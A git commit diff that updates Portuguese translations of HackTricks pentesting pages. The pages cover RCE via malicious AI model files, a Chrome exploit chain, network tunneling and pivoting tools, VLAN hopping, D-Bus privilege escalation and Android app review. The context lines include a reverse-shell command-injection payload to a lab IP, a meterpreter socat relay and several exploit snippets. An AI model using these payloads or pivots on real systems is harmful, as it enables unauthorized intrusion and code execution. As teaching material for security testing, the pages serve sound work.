mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/AI/AI-Models-RCE.md', 'src/binary-exploitation/chrome-e
This commit is contained in:
Translator
parent
41be4c0b06
commit
c3c8db6505
@ -17,7 +17,7 @@ No momento da escrita, estes são alguns exemplos desse tipo de vulnerabilidades
|
||||
| **Scikit-learn** (Python) | **CVE-2020-13092** (joblib/pickle) | Carregar um modelo via `joblib.load` executa pickle com o payload `__reduce__` do atacante | |
|
||||
| **NumPy** (Python) | **CVE-2019-6446** (inseguro `np.load`) *disputado* | `numpy.load` padrão permitia arrays de objetos pickle – `.npy/.npz` malicioso aciona execução de código | |
|
||||
| **ONNX / ONNX Runtime** | **CVE-2022-25882** (traversal de diretório) <br> **CVE-2024-5187** (traversal tar) | O caminho de pesos externos do modelo ONNX pode escapar do diretório (ler arquivos arbitrários) <br> Modelo ONNX malicioso tar pode sobrescrever arquivos arbitrários (levando a RCE) | |
|
||||
| ONNX Runtime (risco de design) | *(Sem CVE)* operações personalizadas ONNX / fluxo de controle | Modelo com operador personalizado requer carregamento do código nativo do atacante; gráficos de modelo complexos abusam da lógica para executar cálculos não intencionais | |
|
||||
| ONNX Runtime (risco de design) | *(Sem CVE)* operações personalizadas ONNX / fluxo de controle | Modelo com operador personalizado requer carregamento do código nativo do atacante; gráficos de modelo complexos abusam da lógica para executar cálculos não intencionais | |
|
||||
| **NVIDIA Triton Server** | **CVE-2023-31036** (traversal de caminho) | Usar a API de carregamento de modelo com `--model-control` habilitado permite traversal de caminho relativo para escrever arquivos (por exemplo, sobrescrever `.bashrc` para RCE) | |
|
||||
| **GGML (formato GGUF)** | **CVE-2024-25664 … 25668** (múltiplos estouros de heap) | Arquivo de modelo GGUF malformado causa estouros de buffer de heap no parser, permitindo execução de código arbitrário no sistema da vítima | |
|
||||
| **Keras (formatos antigos)** | *(Sem nova CVE)* Modelo Keras H5 legado | Modelo HDF5 malicioso (`.h5`) com código de camada Lambda ainda executa ao carregar (modo seguro do Keras não cobre formato antigo – “ataque de downgrade”) | |
|
||||
@ -133,7 +133,7 @@ model.load_state_dict(torch.load("malicious_state.pth", weights_only=False))
|
||||
```
|
||||
## Modelos para Traversal de Caminho
|
||||
|
||||
Como comentado em [**este post de blog**](https://blog.huntr.com/pivoting-archive-slip-bugs-into-high-value-ai/ml-bounties), a maioria dos formatos de modelos usados por diferentes frameworks de IA é baseada em arquivos compactados, geralmente `.zip`. Portanto, pode ser possível abusar desses formatos para realizar ataques de traversal de caminho, permitindo ler arquivos arbitrários do sistema onde o modelo é carregado.
|
||||
Como comentado em [**este post do blog**](https://blog.huntr.com/pivoting-archive-slip-bugs-into-high-value-ai/ml-bounties), a maioria dos formatos de modelos usados por diferentes frameworks de IA é baseada em arquivos compactados, geralmente `.zip`. Portanto, pode ser possível abusar desses formatos para realizar ataques de traversal de caminho, permitindo ler arquivos arbitrários do sistema onde o modelo é carregado.
|
||||
|
||||
Por exemplo, com o seguinte código você pode criar um modelo que criará um arquivo no diretório `/tmp` quando carregado:
|
||||
```python
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
> Esta página fornece uma visão geral de alto nível, mas **prática**, de um fluxo de trabalho de exploração "full-chain" moderno contra o Google Chrome 130, baseado na série de pesquisas **“101 Chrome Exploitation”** (Parte-0 — Prefácio).
|
||||
> Esta página fornece uma visão geral de alto nível, mas **prática**, de um fluxo de trabalho de exploração "full-chain" moderno contra o Google Chrome 130, com base na série de pesquisas **“101 Chrome Exploitation”** (Parte-0 — Prefácio).
|
||||
> O objetivo é fornecer aos pentesters e desenvolvedores de exploits o conhecimento mínimo necessário para reproduzir ou adaptar as técnicas para sua própria pesquisa.
|
||||
|
||||
## 1. Recapitulação da Arquitetura do Chrome
|
||||
@ -78,7 +78,7 @@ let victim = {m: 13.37};
|
||||
let fake = arbitrary_data_backed_typedarray;
|
||||
let addrVict = addrOf(victim);
|
||||
```
|
||||
Resultado: **leitura/gravação arbitrária dentro do V8**.
|
||||
Resultado: **leitura/escrita arbitrária dentro do V8**.
|
||||
|
||||
---
|
||||
|
||||
@ -86,12 +86,12 @@ Resultado: **leitura/gravação arbitrária dentro do V8**.
|
||||
|
||||
Quando uma função Wasm é compilada em nível superior, um **wrapper JS ↔ Wasm** é gerado. Um bug de incompatibilidade de assinatura faz com que o wrapper escreva além do final de um objeto **`Tuple2`** confiável quando a função Wasm é reotimizada *enquanto ainda está na pilha*.
|
||||
|
||||
Sobrescrever os 2 × campos de 64 bits do objeto `Tuple2` resulta em **leitura/gravação em qualquer endereço dentro do processo Renderer**, efetivamente contornando o sandbox do V8.
|
||||
Sobrescrever os 2 × campos de 64 bits do objeto `Tuple2` resulta em **leitura/escrita em qualquer endereço dentro do processo Renderer**, efetivamente contornando o sandbox do V8.
|
||||
|
||||
Passos chave na exploração:
|
||||
1. Colocar a função no estado **Tier-Up** alternando código turbofan/baseline.
|
||||
1. Colocar a função no estado **Tier-Up** alternando entre código turbofan/baseline.
|
||||
2. Acionar o tier-up enquanto mantém uma referência na pilha (`Function.prototype.apply`).
|
||||
3. Usar AAR/AAW da Etapa-1 para encontrar e corromper o `Tuple2` adjacente.
|
||||
3. Usar AAR/AAW da Etapa 1 para encontrar e corromper o `Tuple2` adjacente.
|
||||
|
||||
Identificação do wrapper:
|
||||
```js
|
||||
@ -101,15 +101,15 @@ return f(arg);
|
||||
%WasmTierUpFunction(f); // force tier-up (internals-only flag)
|
||||
wrapperGen(0x1337n);
|
||||
```
|
||||
Após a corrupção, possuímos um **primitivo R/W do renderizador** totalmente funcional.
|
||||
Após a corrupção, possuímos um **primitive R/W de renderer** totalmente funcional.
|
||||
|
||||
---
|
||||
|
||||
## 4. Etapa 3 – Escape do Sandbox do OS do Renderizador (CVE-2024-11114)
|
||||
## 4. Etapa 3 – Escape do Sandbox do OS a partir do Renderer (CVE-2024-11114)
|
||||
|
||||
A interface IPC **Mojo** `blink.mojom.DragService.startDragging()` pode ser chamada do Renderizador com parâmetros *parcialmente confiáveis*. Ao criar uma estrutura `DragData` apontando para um **caminho de arquivo arbitrário**, o renderizador convence o navegador a realizar um arrastar e soltar *nativo* **fora do sandbox do renderizador**.
|
||||
A interface IPC **Mojo** `blink.mojom.DragService.startDragging()` pode ser chamada a partir do Renderer com parâmetros *parcialmente confiáveis*. Ao criar uma estrutura `DragData` apontando para um **caminho de arquivo arbitrário**, o renderer convence o navegador a realizar um arrastar e soltar *nativo* **fora do sandbox do renderer**.
|
||||
|
||||
Abusando disso, podemos programaticamente “arrastar” um EXE malicioso (anteriormente colocado em um local gravável por qualquer um) para a Área de Trabalho, onde o Windows executa automaticamente certos tipos de arquivo assim que são soltos.
|
||||
Abusando disso, podemos programaticamente “arrastar” um EXE malicioso (anteriormente colocado em um local gravável por qualquer um) para a Área de Trabalho, onde o Windows executa automaticamente certos tipos de arquivos assim que são soltos.
|
||||
|
||||
Exemplo (simplificado):
|
||||
```js
|
||||
@ -132,14 +132,14 @@ Nenhuma corrupção de memória adicional é necessária – a **falha de lógic
|
||||
|
||||
1. **Usuário visita** página da web maliciosa.
|
||||
2. **Etapa 1**: Módulo Wasm abusa do CVE-2025-0291 → V8 heap AAR/AAW.
|
||||
3. **Etapa 2**: Incompatibilidade de wrapper corrompe `Tuple2` → escapa do sandbox V8.
|
||||
4. **Etapa 3**: `startDragging()` IPC → escapa do sandbox do OS & executa o payload.
|
||||
3. **Etapa 2**: Incompatibilidade de wrapper corrompe `Tuple2` → escapar do sandbox V8.
|
||||
4. **Etapa 3**: `startDragging()` IPC → escapar do sandbox do OS e executar o payload.
|
||||
|
||||
Resultado: **Execução Remota de Código (RCE)** no host (Chrome 130, Windows/Linux/macOS).
|
||||
|
||||
---
|
||||
|
||||
## 6. Configuração de Laboratório e Depuração
|
||||
## 6. Configuração de Lab & Depuração
|
||||
```bash
|
||||
# Spin-up local HTTP server w/ PoCs
|
||||
npm i -g http-server
|
||||
@ -158,8 +158,8 @@ chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-nativ
|
||||
|
||||
## Conclusões
|
||||
|
||||
* **WebAssembly JIT bugs** continuam sendo um ponto de entrada confiável – o sistema de tipos ainda é jovem.
|
||||
* Obter um segundo bug de corrupção de memória dentro do V8 (por exemplo, incompatibilidade de wrapper) simplifica muito a **escapada do sandbox do V8**.
|
||||
* **Erros JIT do WebAssembly** continuam sendo um ponto de entrada confiável – o sistema de tipos ainda é jovem.
|
||||
* Obter um segundo erro de corrupção de memória dentro do V8 (por exemplo, incompatibilidade de wrapper) simplifica muito a **escapada do sandbox do V8**.
|
||||
* Fraquezas em nível lógico nas interfaces IPC privilegiadas do Mojo são frequentemente suficientes para uma **escapada final do sandbox** – fique atento a bugs *não relacionados à memória*.
|
||||
|
||||
|
||||
|
||||
@ -156,14 +156,14 @@ rportfwd stop [bind port]
|
||||
```
|
||||
Para notar:
|
||||
|
||||
- O encaminhamento de porta reverso do Beacon é projetado para **túnel de tráfego para o Servidor da Equipe, não para retransmitir entre máquinas individuais**.
|
||||
- O **reencaminhamento de porta reversa do Beacon** é projetado para **túnel de tráfego para o Servidor da Equipe, não para relatar entre máquinas individuais**.
|
||||
- O tráfego é **tuneado dentro do tráfego C2 do Beacon**, incluindo links P2P.
|
||||
- **Privilégios de administrador não são necessários** para criar encaminhamentos de porta reversos em portas altas.
|
||||
- **Privilégios de administrador não são necessários** para criar reencaminhamentos de porta reversa em portas altas.
|
||||
|
||||
### rPort2Port local
|
||||
|
||||
> [!WARNING]
|
||||
> Neste caso, a **porta é aberta no host do beacon**, não no Servidor da Equipe e o **tráfego é enviado para o cliente Cobalt Strike** (não para o Servidor da Equipe) e de lá para o host:porta indicado.
|
||||
> Neste caso, a **porta é aberta no host do beacon**, não no Servidor da Equipe, e o **tráfego é enviado para o cliente Cobalt Strike** (não para o Servidor da Equipe) e de lá para o host:porta indicado.
|
||||
```bash
|
||||
rportfwd_local [bind port] [forward host] [forward port]
|
||||
rportfwd_local stop [bind port]
|
||||
@ -250,7 +250,7 @@ attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127
|
||||
```bash
|
||||
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999
|
||||
```
|
||||
Pivotar através do **NTLM proxy**
|
||||
Fazer pivot através do **NTLM proxy**
|
||||
```bash
|
||||
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
|
||||
```
|
||||
@ -280,7 +280,7 @@ socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>:<rport> &
|
||||
```bash
|
||||
socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
|
||||
```
|
||||
### Meterpreter através do SSL Socat
|
||||
### Meterpreter através de SSL Socat
|
||||
```bash
|
||||
#Create meterpreter backdoor to port 3333 and start msfconsole listener in that port
|
||||
attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333
|
||||
@ -348,7 +348,7 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
|
||||
Você precisa ter **acesso RDP sobre o sistema**.\
|
||||
Baixe:
|
||||
|
||||
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Esta ferramenta usa `Dynamic Virtual Channels` (`DVC`) do recurso de Serviço de Área de Trabalho Remota do Windows. DVC é responsável por **tunneling de pacotes sobre a conexão RDP**.
|
||||
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Esta ferramenta utiliza `Dynamic Virtual Channels` (`DVC`) do recurso de Serviço de Área de Trabalho Remota do Windows. DVC é responsável por **tunneling de pacotes sobre a conexão RDP**.
|
||||
2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab)
|
||||
|
||||
No seu computador cliente, carregue **`SocksOverRDP-Plugin.dll`** assim:
|
||||
@ -356,7 +356,7 @@ No seu computador cliente, carregue **`SocksOverRDP-Plugin.dll`** assim:
|
||||
# Load SocksOverRDP.dll using regsvr32.exe
|
||||
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
||||
```
|
||||
Agora podemos **conectar** à **vítima** via **RDP** usando **`mstsc.exe`**, e devemos receber um **prompt** dizendo que o **plugin SocksOverRDP está habilitado**, e ele irá **escutar** em **127.0.0.1:1080**.
|
||||
Agora podemos **conectar** à **vítima** via **RDP** usando **`mstsc.exe`**, e devemos receber um **prompt** informando que o **plugin SocksOverRDP está habilitado**, e ele irá **escutar** em **127.0.0.1:1080**.
|
||||
|
||||
**Conecte-se** via **RDP** e faça o upload e execute no computador da vítima o binário `SocksOverRDP-Server.exe`:
|
||||
```
|
||||
@ -377,7 +377,7 @@ Em **Profile -> Proxification Rules** adicione o nome do programa a ser proxific
|
||||
## Bypass de proxy NTLM
|
||||
|
||||
A ferramenta mencionada anteriormente: **Rpivot**\
|
||||
**OpenVPN** também pode contorná-lo, configurando estas opções no arquivo de configuração:
|
||||
**OpenVPN** também pode contorná-lo, configurando essas opções no arquivo de configuração:
|
||||
```bash
|
||||
http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
|
||||
```
|
||||
@ -394,7 +394,7 @@ Domain CONTOSO.COM
|
||||
Proxy 10.0.0.10:8080
|
||||
Tunnel 2222:<attackers_machine>:443
|
||||
```
|
||||
Agora, se você configurar, por exemplo, o serviço **SSH** na vítima para escutar na porta 443. Você pode se conectar a ele através da porta 2222 do atacante.\
|
||||
Agora, se você configurar, por exemplo, no alvo, o serviço **SSH** para escutar na porta 443. Você pode se conectar a ele através da porta 2222 do atacante.\
|
||||
Você também poderia usar um **meterpreter** que se conecta a localhost:443 e o atacante está escutando na porta 2222.
|
||||
|
||||
## YARP
|
||||
@ -498,7 +498,7 @@ chmod a+x ./ngrok
|
||||
|
||||
**Documentação:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/).
|
||||
|
||||
_É também possível adicionar autenticação e TLS, se necessário._
|
||||
_Também é possível adicionar autenticação e TLS, se necessário._
|
||||
|
||||
#### Tunneling TCP
|
||||
```bash
|
||||
@ -513,12 +513,12 @@ _É também possível adicionar autenticação e TLS, se necessário._
|
||||
./ngrok http file:///tmp/httpbin/
|
||||
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
|
||||
```
|
||||
#### Capturando chamadas HTTP
|
||||
#### Captura de chamadas HTTP
|
||||
|
||||
_Utilizado para XSS, SSRF, SSTI ..._\
|
||||
_Util útil para XSS, SSRF, SSTI ..._\
|
||||
Diretamente do stdout ou na interface HTTP [http://127.0.0.1:4040](http://127.0.0.1:4000).
|
||||
|
||||
#### Tunelando serviço HTTP interno
|
||||
#### Tunelamento de serviço HTTP interno
|
||||
```bash
|
||||
./ngrok http localhost:8080 --host-header=rewrite
|
||||
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
|
||||
@ -572,11 +572,11 @@ Inicie o conector:
|
||||
```bash
|
||||
cloudflared tunnel run mytunnel
|
||||
```
|
||||
Porque todo o tráfego sai do host **saindo pela porta 443**, os túneis Cloudflared são uma maneira simples de contornar ACLs de entrada ou limites de NAT. Esteja ciente de que o binário geralmente é executado com privilégios elevados – use contêineres ou a flag `--user` quando possível.
|
||||
Porque todo o tráfego sai do host **para fora pela porta 443**, túneis Cloudflared são uma maneira simples de contornar ACLs de entrada ou limites de NAT. Esteja ciente de que o binário geralmente é executado com privilégios elevados – use contêineres ou a flag `--user` quando possível.
|
||||
|
||||
## FRP (Fast Reverse Proxy)
|
||||
|
||||
[`frp`](https://github.com/fatedier/frp) é um proxy reverso em Go que é mantido ativamente e suporta **TCP, UDP, HTTP/S, SOCKS e P2P NAT-hole-punching**. A partir da **v0.53.0 (Maio de 2024)**, ele pode atuar como um **SSH Tunnel Gateway**, permitindo que um host alvo crie um túnel reverso usando apenas o cliente OpenSSH padrão – nenhum binário extra é necessário.
|
||||
[`frp`](https://github.com/fatedier/frp) é um proxy reverso em Go que é mantido ativamente e suporta **TCP, UDP, HTTP/S, SOCKS e P2P NAT-hole-punching**. A partir da **v0.53.0 (Maio de 2024)**, ele pode atuar como um **Gateway de Túnel SSH**, permitindo que um host alvo crie um túnel reverso usando apenas o cliente OpenSSH padrão – nenhum binário extra é necessário.
|
||||
|
||||
### Túnel TCP reverso clássico
|
||||
```bash
|
||||
@ -622,7 +622,7 @@ qemu-system-x86_64.exe ^
|
||||
-device e1000,netdev=n0 ^
|
||||
-nographic
|
||||
```
|
||||
• O comando acima inicia uma imagem **Tiny Core Linux** (`tc.qcow2`) na RAM.
|
||||
• O comando acima inicia uma imagem do **Tiny Core Linux** (`tc.qcow2`) na RAM.
|
||||
• A porta **2222/tcp** no host Windows é encaminhada de forma transparente para **22/tcp** dentro do convidado.
|
||||
• Do ponto de vista do atacante, o alvo simplesmente expõe a porta 2222; quaisquer pacotes que a alcancem são tratados pelo servidor SSH em execução na VM.
|
||||
|
||||
|
||||
@ -1,4 +1,4 @@
|
||||
# Lateral VLAN Segmentation Bypass
|
||||
# Bypass de Segmentação Lateral de VLAN
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -52,9 +52,9 @@ Em última análise, esse processo permite contornar a segmentação de VLAN, fa
|
||||
|
||||
## Outras Técnicas de VLAN-Hopping (sem CLI privilegiada do switch)
|
||||
|
||||
O método anterior assume acesso autenticado ao console ou Telnet/SSH do switch. Em engajamentos do mundo real, o atacante geralmente está conectado a uma **porta de acesso regular**. Os seguintes truques de Camada 2 frequentemente permitem que você faça pivotagem lateral sem nunca fazer login no sistema operacional do switch:
|
||||
O método anterior assume acesso autenticado ao console ou Telnet/SSH do switch. Em engajamentos do mundo real, o atacante geralmente está conectado a uma **porta de acesso regular**. Os seguintes truques de Camada 2 frequentemente permitem que você faça um pivot lateral sem nunca fazer login no sistema operacional do switch:
|
||||
|
||||
### 1. Switch-Spoofing com Protocolo de Trunking Dinâmico (DTP)
|
||||
### 1. Spoofing de Switch com Protocolo de Trunking Dinâmico (DTP)
|
||||
|
||||
Switches Cisco que mantêm o DTP habilitado negociarão felizmente um trunk se o par afirmar ser um switch. Criar um único quadro **DTP “desejável”** ou **“trunk”** converte a porta de acesso em um trunk 802.1Q que transporta *todas* as VLANs permitidas.
|
||||
|
||||
@ -86,14 +86,14 @@ python3 DoubleTagging.py \
|
||||
--attacker 10.10.1.54
|
||||
```
|
||||
Packet walk-through:
|
||||
1. A tag externa (1) é removida pelo primeiro switch porque corresponde à VLAN nativa.
|
||||
2. A tag interna (20) agora está exposta; o quadro é encaminhado para o trunk em direção à VLAN 20.
|
||||
1. A tag externo (1) é removido pelo primeiro switch porque corresponde à VLAN nativa.
|
||||
2. A tag interna (20) agora está exposta; o quadro é encaminhado para o tronco em direção à VLAN 20.
|
||||
|
||||
A técnica ainda funciona em 2025 em redes que mantêm a VLAN nativa como padrão e aceitam quadros não marcados.
|
||||
|
||||
### 3. Empilhamento QinQ (802.1ad)
|
||||
|
||||
Muitos núcleos empresariais suportam encapsulamento de provedor de serviço *Q-in-Q*. Onde permitido, um atacante pode tunelar tráfego arbitrário marcado com 802.1Q dentro de um provedor (S-tag) para cruzar zonas de segurança. Capture para o ethertype 802.1ad 0x88a8 e tente remover a tag externa com Scapy:
|
||||
Muitos núcleos empresariais suportam encapsulamento de provedor de serviço *Q-in-Q*. Onde permitido, um atacante pode encapsular tráfego arbitrário marcado com 802.1Q dentro de um provedor (S-tag) para cruzar zonas de segurança. Capture para o ethertype 802.1ad 0x88a8 e tente remover a tag externa com Scapy:
|
||||
```python
|
||||
from scapy.all import *
|
||||
outer = 100 # Service tag
|
||||
@ -109,8 +109,8 @@ sendp(frame, iface="eth0")
|
||||
1. Desative o DTP em todas as portas voltadas para o usuário: `switchport mode access` + `switchport nonegotiate`.
|
||||
2. Altere a VLAN nativa em cada trunk para uma **VLAN não utilizada, black-hole** e a marque: `vlan dot1q tag native`.
|
||||
3. Remova VLANs desnecessárias nos trunks: `switchport trunk allowed vlan 10,20`.
|
||||
4. Aplique segurança de porta, DHCP snooping e inspeção ARP dinâmica para limitar atividades indesejadas de Camada 2.
|
||||
5. Prefira VLANs privadas ou segmentação L3 em vez de depender apenas da separação 802.1Q.
|
||||
4. Aplique segurança de porta, DHCP snooping e inspeção ARP dinâmica para limitar atividades Layer-2 indesejadas.
|
||||
5. Prefira private-VLANs ou segmentação L3 em vez de depender apenas da separação 802.1Q.
|
||||
|
||||
---
|
||||
|
||||
|
||||
@ -4,11 +4,11 @@
|
||||
|
||||
## **Enumeração GUI**
|
||||
|
||||
O D-Bus é utilizado como o mediador de comunicações entre processos (IPC) em ambientes de desktop Ubuntu. No Ubuntu, observa-se a operação simultânea de vários barramentos de mensagens: o barramento do sistema, utilizado principalmente por **serviços privilegiados para expor serviços relevantes em todo o sistema**, e um barramento de sessão para cada usuário logado, expondo serviços relevantes apenas para aquele usuário específico. O foco aqui está principalmente no barramento do sistema devido à sua associação com serviços que operam com privilégios mais altos (por exemplo, root), já que nosso objetivo é elevar privilégios. Nota-se que a arquitetura do D-Bus emprega um 'roteador' por barramento de sessão, que é responsável por redirecionar mensagens de clientes para os serviços apropriados com base no endereço especificado pelos clientes para o serviço com o qual desejam se comunicar.
|
||||
O D-Bus é utilizado como o mediador de comunicações entre processos (IPC) em ambientes de desktop Ubuntu. No Ubuntu, a operação simultânea de vários barramentos de mensagens é observada: o barramento do sistema, utilizado principalmente por **serviços privilegiados para expor serviços relevantes em todo o sistema**, e um barramento de sessão para cada usuário logado, expondo serviços relevantes apenas para aquele usuário específico. O foco aqui está principalmente no barramento do sistema devido à sua associação com serviços que operam com privilégios mais altos (por exemplo, root), já que nosso objetivo é elevar privilégios. É notado que a arquitetura do D-Bus emprega um 'roteador' por barramento de sessão, que é responsável por redirecionar mensagens de clientes para os serviços apropriados com base no endereço especificado pelos clientes para o serviço com o qual desejam se comunicar.
|
||||
|
||||
Os serviços no D-Bus são definidos pelos **objetos** e **interfaces** que expõem. Objetos podem ser comparados a instâncias de classe em linguagens OOP padrão, com cada instância identificada de forma única por um **caminho de objeto**. Este caminho, semelhante a um caminho de sistema de arquivos, identifica de forma única cada objeto exposto pelo serviço. Uma interface chave para fins de pesquisa é a interface **org.freedesktop.DBus.Introspectable**, que apresenta um único método, Introspect. Este método retorna uma representação XML dos métodos, sinais e propriedades suportados pelo objeto, com foco aqui nos métodos enquanto omite propriedades e sinais.
|
||||
Os serviços no D-Bus são definidos pelos **objetos** e **interfaces** que expõem. Objetos podem ser comparados a instâncias de classe em linguagens OOP padrão, com cada instância identificada de forma única por um **caminho de objeto**. Este caminho, semelhante a um caminho de sistema de arquivos, identifica de forma única cada objeto exposto pelo serviço. Uma interface chave para fins de pesquisa é a interface **org.freedesktop.DBus.Introspectable**, que apresenta um único método, Introspect. Este método retorna uma representação XML dos métodos, sinais e propriedades suportados pelo objeto, com foco aqui em métodos enquanto omite propriedades e sinais.
|
||||
|
||||
Para comunicação com a interface D-Bus, foram empregadas duas ferramentas: uma ferramenta CLI chamada **gdbus** para fácil invocação de métodos expostos pelo D-Bus em scripts, e [**D-Feet**](https://wiki.gnome.org/Apps/DFeet), uma ferramenta GUI baseada em Python projetada para enumerar os serviços disponíveis em cada barramento e exibir os objetos contidos em cada serviço.
|
||||
Para comunicação com a interface D-Bus, duas ferramentas foram empregadas: uma ferramenta CLI chamada **gdbus** para fácil invocação de métodos expostos pelo D-Bus em scripts, e [**D-Feet**](https://wiki.gnome.org/Apps/DFeet), uma ferramenta GUI baseada em Python projetada para enumerar os serviços disponíveis em cada barramento e exibir os objetos contidos em cada serviço.
|
||||
```bash
|
||||
sudo apt-get install d-feet
|
||||
```
|
||||
@ -190,7 +190,7 @@ Você pode usar `capture` em vez de `monitor` para salvar os resultados em um ar
|
||||
|
||||
#### Filtrando todo o ruído <a href="#filtering_all_the_noise" id="filtering_all_the_noise"></a>
|
||||
|
||||
Se houver muita informação no barramento, passe uma regra de correspondência assim:
|
||||
Se houver informações demais no barramento, passe uma regra de correspondência assim:
|
||||
```bash
|
||||
dbus-monitor "type=signal,sender='org.gnome.TypingMonitor',interface='org.gnome.TypingMonitor'"
|
||||
```
|
||||
@ -248,7 +248,7 @@ return render_template('hacker.html', title='Hacker')
|
||||
Como você pode ver, está **conectando a uma interface D-Bus** e enviando para a **função "Block"** o "client_ip".
|
||||
|
||||
Do outro lado da conexão D-Bus, há um binário compilado em C em execução. Este código está **ouvindo** na conexão D-Bus **por endereços IP e chamando iptables via função `system`** para bloquear o endereço IP fornecido.\
|
||||
**A chamada para `system` é vulnerável intencionalmente a injeção de comando**, então um payload como o seguinte criará um shell reverso: `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #`
|
||||
**A chamada para `system` é vulnerável intencionalmente a injeção de comandos**, então um payload como o seguinte criará um shell reverso: `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #`
|
||||
|
||||
### Exploit it
|
||||
|
||||
@ -488,7 +488,7 @@ Use `dbusmap --enable-probes` ou `busctl call` manual para confirmar se um patch
|
||||
```bash
|
||||
grep -R --color -nE '<allow (own|send_destination|receive_sender)="[^"]*"' /etc/dbus-1/system.d /usr/share/dbus-1/system.d
|
||||
```
|
||||
* Exija Polkit para métodos perigosos – até mesmo proxies *root* devem passar o PID do *chamador* para `polkit_authority_check_authorization_sync()` em vez de seu próprio.
|
||||
* Exija Polkit para métodos perigosos – até mesmo proxies *root* devem passar o PID do *chamador* para `polkit_authority_check_authorization_sync()` em vez do próprio.
|
||||
* Reduza privilégios em auxiliares de longa duração (use `sd_pid_get_owner_uid()` para mudar namespaces após conectar-se ao barramento).
|
||||
* Se você não puder remover um serviço, pelo menos *escopo* para um grupo Unix dedicado e restrinja o acesso em sua política XML.
|
||||
* Blue-team: habilite a captura persistente do barramento do sistema com `busctl capture --output=/var/log/dbus_$(date +%F).pcap` e importe para o Wireshark para detecção de anomalias.
|
||||
|
||||
@ -64,27 +64,27 @@ Apenas dando uma olhada nas **strings** do APK, você pode procurar por **senhas
|
||||
|
||||
**Firebase**
|
||||
|
||||
Preste atenção especial às **URLs do firebase** e verifique se está mal configurado. [Mais informações sobre o que é o Firebase e como explorá-lo aqui.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
Preste atenção especial às **URLs do firebase** e verifique se estão mal configuradas. [Mais informações sobre o que é o Firebase e como explorá-lo aqui.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
|
||||
### Compreensão Básica da Aplicação - Manifest.xml, strings.xml
|
||||
|
||||
A **examinação dos arquivos _Manifest.xml_ e **_strings.xml_** de uma aplicação pode revelar potenciais vulnerabilidades de segurança**. Esses arquivos podem ser acessados usando decompiladores ou renomeando a extensão do arquivo APK para .zip e, em seguida, descompactando-o.
|
||||
|
||||
**Vulnerabilidades** identificadas a partir do **Manifest.xml** incluem:
|
||||
**Vulnerabilidades** identificadas no **Manifest.xml** incluem:
|
||||
|
||||
- **Aplicações Debugáveis**: Aplicações configuradas como debuggable (`debuggable="true"`) no arquivo _Manifest.xml_ representam um risco, pois permitem conexões que podem levar à exploração. Para uma melhor compreensão sobre como explorar aplicações debuggables, consulte um tutorial sobre como encontrar e explorar aplicações debuggables em um dispositivo.
|
||||
- **Configurações de Backup**: O atributo `android:allowBackup="false"` deve ser explicitamente definido para aplicações que lidam com informações sensíveis para evitar backups de dados não autorizados via adb, especialmente quando a depuração USB está habilitada.
|
||||
- **Segurança de Rede**: Configurações de segurança de rede personalizadas (`android:networkSecurityConfig="@xml/network_security_config"`) em _res/xml/_ podem especificar detalhes de segurança como pins de certificado e configurações de tráfego HTTP. Um exemplo é permitir tráfego HTTP para domínios específicos.
|
||||
- **Atividades e Serviços Exportados**: Identificar atividades e serviços exportados no manifesto pode destacar componentes que podem ser mal utilizados. Uma análise adicional durante testes dinâmicos pode revelar como explorar esses componentes.
|
||||
- **Content Providers e FileProviders**: Content providers expostos podem permitir acesso ou modificação não autorizada de dados. A configuração de FileProviders também deve ser analisada.
|
||||
- **Atividades e Serviços Exportados**: Identificar atividades e serviços exportados no manifesto pode destacar componentes que podem ser mal utilizados. Uma análise mais aprofundada durante testes dinâmicos pode revelar como explorar esses componentes.
|
||||
- **Content Providers e FileProviders**: Content providers expostos podem permitir acesso ou modificação não autorizada de dados. A configuração de FileProviders também deve ser examinada.
|
||||
- **Broadcast Receivers e Esquemas de URL**: Esses componentes podem ser aproveitados para exploração, com atenção especial a como os esquemas de URL são gerenciados para vulnerabilidades de entrada.
|
||||
- **Versões do SDK**: Os atributos `minSdkVersion`, `targetSDKVersion` e `maxSdkVersion` indicam as versões do Android suportadas, destacando a importância de não suportar versões do Android desatualizadas e vulneráveis por razões de segurança.
|
||||
|
||||
A partir do arquivo **strings.xml**, informações sensíveis como chaves de API, esquemas personalizados e outras notas de desenvolvedor podem ser descobertas, sublinhando a necessidade de uma revisão cuidadosa desses recursos.
|
||||
Do arquivo **strings.xml**, informações sensíveis como chaves de API, esquemas personalizados e outras notas de desenvolvedor podem ser descobertas, sublinhando a necessidade de uma revisão cuidadosa desses recursos.
|
||||
|
||||
### Tapjacking
|
||||
|
||||
**Tapjacking** é um ataque onde uma **aplicação maliciosa** é lançada e **se posiciona em cima de uma aplicação vítima**. Uma vez que obscurece visivelmente o app da vítima, sua interface de usuário é projetada de tal forma a enganar o usuário a interagir com ela, enquanto passa a interação para o app da vítima.\
|
